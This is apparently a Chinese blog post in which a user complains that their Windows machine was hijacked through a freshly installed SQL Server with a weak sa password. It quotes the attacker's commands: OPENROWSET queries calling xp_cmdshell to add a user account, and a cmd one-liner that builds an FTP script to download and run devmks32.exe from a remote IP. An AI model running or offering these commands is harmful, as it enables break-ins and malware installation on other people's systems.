刚才防火墙提醒ftp是否允许连接,就允许吧,想了一会儿,。。。,刚才弄了好一阵才删掉那该死的进程和文件,万一又传个鸟东西到我机器上,要折腾半天。TNND真无聊,弄俺的机器有个鸟用,打开进程,发现多了个cmd,kill it!
最近机器有点问题,不知道是不是mysql漏了,刚才的很有可能是sql server的,因为今晚刚装上暂时用的。
select * from openrowset('msdasql','driver={sql server};server=XXX;address=XXX,1433;uid=sa;pwd=sa;database=master;network=dbmssocn',
'set fmtonly off exec master..xp_cmdshell ''net user ...''')
select * from openrowset('sqloledb','trusted_connection=yes;data source=ODBCDNS,'set fmtonly off exec master..xp_cmdshell
''net user xxx ***/add''')
IE、svchost.exe.... 都有木马,懒得理了。。。偷吧偷吧,偶就喜欢倪萍,爱咋咋地。
lsass.exe开了个子进程 cmd.exe:
cmd /k echo open 61.141.152.14 10584 > o&echo user 1 1 >> o &echo get devmks32.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &devmks32.exe